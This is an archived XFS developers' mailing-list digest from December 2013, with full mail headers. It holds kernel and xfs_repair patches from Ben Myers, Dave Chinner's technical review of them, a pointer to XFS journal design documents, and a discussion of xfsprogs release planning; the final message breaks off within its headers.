Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.20 (2009-06-14) rec.ir_startino is an agino rather than an ino. Use the correct macro when dealing with it in xfs_difree. --- This is very lightly tested so it's RFC. Looks like using "ino to agbno" is actually harmless when you pass in an agino, so there shouldn't have been any trouble caused by this one. -Ben fs/xfs/xfs_ialloc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) Index: b/fs/xfs/xfs_ialloc.c =================================================================== --- a/fs/xfs/xfs_ialloc.c 2013-12-03 12:07:24.485185962 -0600 +++ b/fs/xfs/xfs_ialloc.c 2013-12-03 12:07:40.994563706 -0600 @@ -1229,7 +1229,7 @@ xfs_difree( } xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, - agno, XFS_INO_TO_AGBNO(mp,rec.ir_startino)), + agno, XFS_AGINO_TO_AGBNO(mp, rec.ir_startino)), XFS_IALLOC_BLOCKS(mp), flist, mp); } else { *delete = 0; From bpm@sgi.com Tue Dec 3 15:03:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 21ED97F4E for ; Tue, 3 Dec 2013 15:03:46 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8E68EAC003; Tue, 3 Dec 2013 13:03:42 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 4E0684266DC; Tue, 3 Dec 2013 15:03:42 -0600 (CST) Date: Tue, 3 Dec 2013 15:03:42 -0600 From: Ben Myers To: =?utf-8?B?5p2o6IuP56uL?= Yang Su Li Cc: xfs@oss.sgi.com Subject: Re: XFS journal documentation? Message-ID: <20131203210342.GO1935@sgi.com> References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.20 (2009-06-14) Hi, On Tue, Dec 03, 2013 at 02:55:23PM -0600, 杨苏立 Yang Su Li wrote: > I am trying to understand XFS a little bit better, especially its journal > process. Unfortunately, I am having trouble find documentation in this > regard. > > The general XFS documentation ( > http://xfs.org/docs/xfsdocs-xml-dev/XFS_Filesystem_Structure//tmp/en-US/html/index.html) > has been quite helpful, but it doesn't describe the journal part of XFS. I > also found some kernel documentation ablout XFS's delayed logging ( > https://www.kernel.org/doc/Documentation/filesystems/xfs-delayed-logging-design.txt), > which talks about the journal process a bit. But it seems to assume a lot > of prior knowledge of how the original XFS logging works to completely > understand what the author is talking about; and the term it uses (like > checkpoint) seem to have complete different meaning from, say, ext4. > > So I am wondering, is there some kind of (any kind of ) documentation on > XFS journaling? Ideally it will cover the major data structure and major > code flow, but even a very high level, incomplete overview would be better > than what I have now, which is essentially nothing. And if so, where can I > find it? The original design docs are posted here: http://oss.sgi.com/projects/xfs/design_docs/xfsdocs93_pdf/ log_mgr.pdf might be what you need. Regards, Ben From david@fromorbit.com Tue Dec 3 15:19:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 84B207F4E for ; Tue, 3 Dec 2013 15:19:05 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 60E06304067 for ; Tue, 3 Dec 2013 13:19:05 -0800 (PST) X-ASG-Debug-ID: 1386105540-04bdf06eef4e5540001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 746Nn2YJGHuBIWWP for ; Tue, 03 Dec 2013 13:19:00 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApsQAM9JnlJ5LHyk/2dsb2JhbABagwc4g02gawOPMYVPgRoXdIIlAQEEASMPASMjBQsIAQIYAgIFIQICDwUlAyETh3sFDpVIm2GQMRaBE4s5ghwHgmuBSAOYE5IUgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 04 Dec 2013 07:48:59 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VnxMu-00028o-Jg; Wed, 04 Dec 2013 08:18:56 +1100 Date: Wed, 4 Dec 2013 08:18:56 +1100 From: Dave Chinner To: =?utf-8?B?5p2o6IuP56uL?= Yang Su Li Cc: xfs@oss.sgi.com Subject: Re: XFS journal documentation? Message-ID: <20131203211856.GV10988@dastard> X-ASG-Orig-Subj: Re: XFS journal documentation? References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386105540 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142817 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 03, 2013 at 02:55:23PM -0600, 杨苏立 Yang Su Li wrote: > Hi, > > I am trying to understand XFS a little bit better, especially its journal > process. Unfortunately, I am having trouble find documentation in this > regard. > > The general XFS documentation ( > http://xfs.org/docs/xfsdocs-xml-dev/XFS_Filesystem_Structure//tmp/en-US/html/index.html) > has been quite helpful, but it doesn't describe the journal part of XFS. I > also found some kernel documentation ablout XFS's delayed logging ( > https://www.kernel.org/doc/Documentation/filesystems/xfs-delayed-logging-design.txt), > which talks about the journal process a bit. But it seems to assume a lot > of prior knowledge of how the original XFS logging works to completely > understand what the author is talking about; and the term it uses (like > checkpoint) seem to have complete different meaning from, say, ext4. Yes, I assumed that the reader has some familiarity with XFS journalling - it's documentation for XFS developers, not users... > So I am wondering, is there some kind of (any kind of ) documentation on > XFS journaling? Ideally it will cover the major data structure and major > code flow, but even a very high level, incomplete overview would be better > than what I have now, which is essentially nothing. And if so, where can I > find it? The code is your only really option. go look at fs/xfs/xfs_log_format.h where all the structures that are formatted into the log are defined, and xfs_log_recovery.c for how it is all parsed.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Dec 3 15:28:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 72C3C7F50 for ; Tue, 3 Dec 2013 15:28:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D8F54AC002 for ; Tue, 3 Dec 2013 13:28:19 -0800 (PST) X-ASG-Debug-ID: 1386106097-04cb6c537c4db500001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id r4s9T1MIMWUBzEzG for ; Tue, 03 Dec 2013 13:28:18 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsGAChMnlJ5LHyk/2dsb2JhbABagwe0JIVPgRoXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gAwVMXFo5oB4QzA5gTkhSDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 04 Dec 2013 07:58:17 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VnxVu-0002A8-Ay; Wed, 04 Dec 2013 08:28:14 +1100 Date: Wed, 4 Dec 2013 08:28:14 +1100 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH] xfs: fix calculation of freed inode cluster blocks Message-ID: <20131203212814.GW10988@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH] xfs: fix calculation of freed inode cluster blocks References: <20131203210054.GN1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131203210054.GN1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386106097 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142818 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 03, 2013 at 03:00:54PM -0600, Ben Myers wrote: > rec.ir_startino is an agino rather than an ino. Use the correct macro > when dealing with it in xfs_difree. > > --- > > This is very lightly tested so it's RFC. Looks like using "ino to > agbno" is actually harmless when you pass in an agino, so there > shouldn't have been any trouble caused by this one. Right, the XFS_INO_TO_AGBNO() macro will behave correctly when passed an agino - it's the same as an inode from AG 0. Changing the macro to the correct one is effectively a no-op, so just send a patch and get it reviewed and integrated... Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Tue Dec 3 15:29:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7F3017F50 for ; Tue, 3 Dec 2013 15:29:52 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0656CAC002 for ; Tue, 3 Dec 2013 13:29:51 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id B2CC14266DC; Tue, 3 Dec 2013 15:29:51 -0600 (CST) Date: Tue, 3 Dec 2013 15:29:51 -0600 From: Ben Myers To: xfs@oss.sgi.com Subject: [PATCH] xfs: reinstate the iolock in xfs_readdir Message-ID: <20131203212951.GP1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.20 (2009-06-14) Although it was removed in commit 051e7cd44ab8, ilock needs to be taken in xfs_readdir because we might have to read the extent list in from disk. This keeps other threads from reading from or writing to the extent list while it is being read in and is still in a transitional state. This has been associated with "Access to block zero" messages on directories with large numbers of extents resulting from excessive filesytem fragmentation, as well as extent list corruption. Unfortunately no test case at this point. Signed-off-by: Ben Myers --- fs/xfs/xfs_dir2_readdir.c | 4 ++++ 1 file changed, 4 insertions(+) Index: b/fs/xfs/xfs_dir2_readdir.c =================================================================== --- a/fs/xfs/xfs_dir2_readdir.c 2013-12-02 17:40:38.895185673 -0600 +++ b/fs/xfs/xfs_dir2_readdir.c 2013-12-02 17:40:49.025225554 -0600 @@ -674,6 +674,7 @@ xfs_readdir( { int rval; /* return value */ int v; /* type-checking value */ + uint lock_mode; trace_xfs_readdir(dp); @@ -683,6 +684,7 @@ xfs_readdir( ASSERT(S_ISDIR(dp->i_d.di_mode)); XFS_STATS_INC(xs_dir_getdents); + lock_mode = xfs_ilock_map_shared(dp); if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) rval = xfs_dir2_sf_getdents(dp, ctx); else if ((rval = xfs_dir2_isblock(NULL, dp, &v))) @@ -691,5 +693,7 @@ xfs_readdir( rval = xfs_dir2_block_getdents(dp, ctx); else rval = xfs_dir2_leaf_getdents(dp, ctx, bufsize); + xfs_iunlock_map_shared(dp, lock_mode); + return rval; } From bpm@sgi.com Tue Dec 3 15:57:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id ADA467F53 for ; Tue, 3 Dec 2013 15:57:36 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 35CE5AC003 for ; Tue, 3 Dec 2013 13:57:36 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id C5C904266DD; Tue, 3 Dec 2013 15:57:35 -0600 (CST) Date: Tue, 3 Dec 2013 15:57:35 -0600 From: Ben Myers To: xfs@oss.sgi.com Subject: [PATCH] xfs_repair: fix process_bmbt_reclist_int Message-ID: <20131203215735.GQ1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.20 (2009-06-14) There is a set checks for corruption in block map btrees in process_bmbt_reclist_int that we identify but currently do not fix. It appears that the author's intent in this function was to set error = 1, and then only clear it when all of the checks were completed successfully. Unfortunately error can be cleared when it is used for the return value of blkmap_set_ext. Some kinds of corruption are not being fixed, including duplicate extents, claiming free blocks, claiming metadata blocks, and multiply used blocks. Fix this by shadowing error for blkmap_set_ext. Signed-off-by: Ben Myers --- repair/dinode.c | 1 + 1 file changed, 1 insertion(+) Index: b/repair/dinode.c =================================================================== --- a/repair/dinode.c 2013-12-03 15:43:59.895287548 -0600 +++ b/repair/dinode.c 2013-12-03 15:44:09.315225645 -0600 @@ -663,6 +663,7 @@ _("inode %" PRIu64 " - extent offset too } if (blkmapp && *blkmapp) { + int error; error = blkmap_set_ext(blkmapp, irec.br_startoff, irec.br_startblock, irec.br_blockcount); if (error) { From david@fromorbit.com Tue Dec 3 16:17:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EB3167F55 for ; Tue, 3 Dec 2013 16:17:24 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B33028F8035 for ; Tue, 3 Dec 2013 14:17:21 -0800 (PST) X-ASG-Debug-ID: 1386109039-04bdf06eec4e79c0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 1nN0RB5nsMYoWuDa for ; Tue, 03 Dec 2013 14:17:19 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsGAPJXnlJ5LHyk/2dsb2JhbABQCoMHtCSFT4EaF3SCJQEBBTocIxAIAw4KCSUPBSUDIROIAMFiFo4GBgsBUAeEMwOYE5IUgz0ogTU Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 04 Dec 2013 08:47:19 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VnyHK-0002IH-GW; Wed, 04 Dec 2013 09:17:14 +1100 Date: Wed, 4 Dec 2013 09:17:14 +1100 From: Dave Chinner To: Christoph Hellwig Cc: Rich Johnston , xfs-oss Subject: Re: [ANNOUNCE] xfsprogs v3.2.0-alpha2 Message-ID: <20131203221714.GY10988@dastard> X-ASG-Orig-Subj: Re: [ANNOUNCE] xfsprogs v3.2.0-alpha2 References: <5293A699.20908@sgi.com> <20131128104002.GC26927@infradead.org> <20131128211858.GR10988@dastard> <20131129080538.GA31310@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131129080538.GA31310@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386109039 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142818 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Nov 29, 2013 at 12:05:38AM -0800, Christoph Hellwig wrote: > On Fri, Nov 29, 2013 at 08:18:58AM +1100, Dave Chinner wrote: > > On Thu, Nov 28, 2013 at 02:40:02AM -0800, Christoph Hellwig wrote: > > > On Mon, Nov 25, 2013 at 01:35:53PM -0600, Rich Johnston wrote: > > > > Alpha version 3.2.0-alpha2 of xfsprogs has been released. > > > > > > So what issues keep us issueing alpha release instead of making a proper > > > .0 release? > > > > There's still things to fix in xfs_repair before we do a full > > release. Run xfs/291 recently? > > Works fine for me on v4 super blocks, which is what I mostly care about > for now as that's what is in the field. And we haven't sent fixed > for our existing installed base out for over 6 month now. [ sorry for taking so long to reply - I missed this email, so thatnks to Eric for pointing it out ot me this morning ] I don't think that releasing with known deficiencies is a very good idea. Perhaps it would be best to release a 3.1.12 with all the relevant bugs fixes backported from the master branch to it? I'm happy to create a 3.1-stable branch in the repository branched off at the relevant point in the commit stream so we can host a 3.12 release, but I don't really have time to do any of the identification and backporting of patches for such a release. Hence, if you want to identify the commit to branch from and provide a backport series of patches for a 3.12 release, then I think we can do a stable release in short turn-around time. Would that approach alleviating your concerns? Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Tue Dec 3 16:43:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D2BAF7F57 for ; Tue, 3 Dec 2013 16:43:57 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id A43D4304067; Tue, 3 Dec 2013 14:43:54 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 493C94266DC; Tue, 3 Dec 2013 16:43:54 -0600 (CST) Date: Tue, 3 Dec 2013 16:43:54 -0600 From: Ben Myers To: Dave Chinner Cc: Christoph Hellwig , Rich Johnston , xfs-oss Subject: Re: [ANNOUNCE] xfsprogs v3.2.0-alpha2 Message-ID: <20131203224354.GR1935@sgi.com> References: <5293A699.20908@sgi.com> <20131128104002.GC26927@infradead.org> <20131128211858.GR10988@dastard> <20131129080538.GA31310@infradead.org> <20131203221714.GY10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131203221714.GY10988@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Dec 04, 2013 at 09:17:14AM +1100, Dave Chinner wrote: > On Fri, Nov 29, 2013 at 12:05:38AM -0800, Christoph Hellwig wrote: > > On Fri, Nov 29, 2013 at 08:18:58AM +1100, Dave Chinner wrote: > > > On Thu, Nov 28, 2013 at 02:40:02AM -0800, Christoph Hellwig wrote: > > > > On Mon, Nov 25, 2013 at 01:35:53PM -0600, Rich Johnston wrote: > > > > > Alpha version 3.2.0-alpha2 of xfsprogs has been released. > > > > > > > > So what issues keep us issueing alpha release instead of making a proper > > > > .0 release? > > > > > > There's still things to fix in xfs_repair before we do a full > > > release. Run xfs/291 recently? > > > > Works fine for me on v4 super blocks, which is what I mostly care about > > for now as that's what is in the field. And we haven't sent fixed > > for our existing installed base out for over 6 month now. > > [ sorry for taking so long to reply - I missed this email, so > thatnks to Eric for pointing it out ot me this morning ] > > I don't think that releasing with known deficiencies is a very good > idea. Perhaps it would be best to release a 3.1.12 with all the > relevant bugs fixes backported from the master branch to it? > > I'm happy to create a 3.1-stable branch in the repository branched > off at the relevant point in the commit stream so we can host a 3.12 > release, but I don't really have time to do any of the > identification and backporting of patches for such a release. > > Hence, if you want to identify the commit to branch from and > provide a backport series of patches for a 3.12 release, then I > think we can do a stable release in short turn-around time. Would > that approach alleviating your concerns? IIRC last time we discussed this I expressed a preference for focussing on the 3.2.0 release, but did not object to a 3.1.12 either. I think Eric followed up and asked if Christoph had specific concerns that should prompt a 3.1.12 release. Now I think it's probably just best to focus on the xfs_repair bits for 3.2.0. -Ben From david@fromorbit.com Tue Dec 3 16:55:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D54477F59 for ; Tue, 3 Dec 2013 16:55:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id BA68B8F804B for ; Tue, 3 Dec 2013 14:55:25 -0800 (PST) X-ASG-Debug-ID: 1386111323-04cb6c537c4deaa0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id LfGImQCrFXMa56Rn for ; Tue, 03 Dec 2013 14:55:23 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsGABBgnlJ5LHyk/2dsb2JhbABagwe0JIVPgRoXdIIlAQEFJxMcIxAIAw4KCSUPBSUDIRMZh2fBZhaNfGwHhDMDmBOKTIdIgz0ogTU Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 04 Dec 2013 09:25:22 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VnysC-0002Mk-D2; Wed, 04 Dec 2013 09:55:20 +1100 Date: Wed, 4 Dec 2013 09:55:20 +1100 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: reinstate the iolock in xfs_readdir Message-ID: <20131203225520.GZ10988@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: reinstate the iolock in xfs_readdir References: <20131203212951.GP1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131203212951.GP1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386111323 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142819 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 03, 2013 at 03:29:51PM -0600, Ben Myers wrote: > Although it was removed in commit 051e7cd44ab8, ilock needs to be taken in > xfs_readdir because we might have to read the extent list in from disk. This > keeps other threads from reading from or writing to the extent list while it is > being read in and is still in a transitional state. > > This has been associated with "Access to block zero" messages on directories > with large numbers of extents resulting from excessive filesytem fragmentation, > as well as extent list corruption. Unfortunately no test case at this point. That commit was from 2007, so this is not a result of a recent change. As it is, access to directories is completely serialised by the VFS i_mutex. We don't need the iolock to read in the extent list for a directory, because by the time we get to readdir it is already guaranteed to be read in by this code: STATIC int xfs_dir_open( struct inode *inode, struct file *file) { struct xfs_inode *ip = XFS_I(inode); int mode; int error; error = xfs_file_open(inode, file); if (error) return error; /* * If there are any blocks, read-ahead block 0 as we're almost * certain to have the next operation be a read there. */ mode = xfs_ilock_map_shared(ip); if (ip->i_d.di_nextents > 0) xfs_dir3_data_readahead(NULL, ip, 0, -1); xfs_iunlock(ip, mode); return 0; } Which means that for a directory in block/leaf/node form the open of it prior to the first readdir() call will read the extent tree into memory and it will be pinned in memory for at least the life of the file descriptor that is open on the directory. If the directory is not in block form at open time, then the first modification that takes it to block form will correctly lock and initialise the extent tree, and concurrent readers will block on the i_mutex at the VFS, not on the XFS iolock. Now, if something is accessing the directory without going through the VFS, there might be an issue, but all read accesses are via a file descriptor of some kind and so should always have the extent list initialised and read in correctly before reads occur due to the code in xfs_dir_open() and serialisation via the i_mutex at the VFS level. So I don't see why holding the iolock during readdir is necessary, nor how not holding it could lead to corrupt extent trees being seen during directory operations. I need more information to understand the issue being seen.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Dec 3 17:11:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2D0827F57 for ; Tue, 3 Dec 2013 17:11:03 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 096048F8033 for ; Tue, 3 Dec 2013 15:10:59 -0800 (PST) X-ASG-Debug-ID: 1386112251-04cbb041674e38c0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id bWBV7kJ8AWXPyOg5 for ; Tue, 03 Dec 2013 15:10:51 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsGAKxjnlJ5LHyk/2dsb2JhbABQCoMHtCSFT4EaF3SCJQEBBTocIxAIAw4KCSUPBSUDIROIAMFVFxaODFwHgyCBEwOYE4pMh0iDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 04 Dec 2013 09:38:08 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vnz4W-0002Op-Q7; Wed, 04 Dec 2013 10:08:04 +1100 Date: Wed, 4 Dec 2013 10:08:04 +1100 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs_repair: fix process_bmbt_reclist_int Message-ID: <20131203230804.GA10988@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs_repair: fix process_bmbt_reclist_int References: <20131203215735.GQ1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131203215735.GQ1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386112251 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 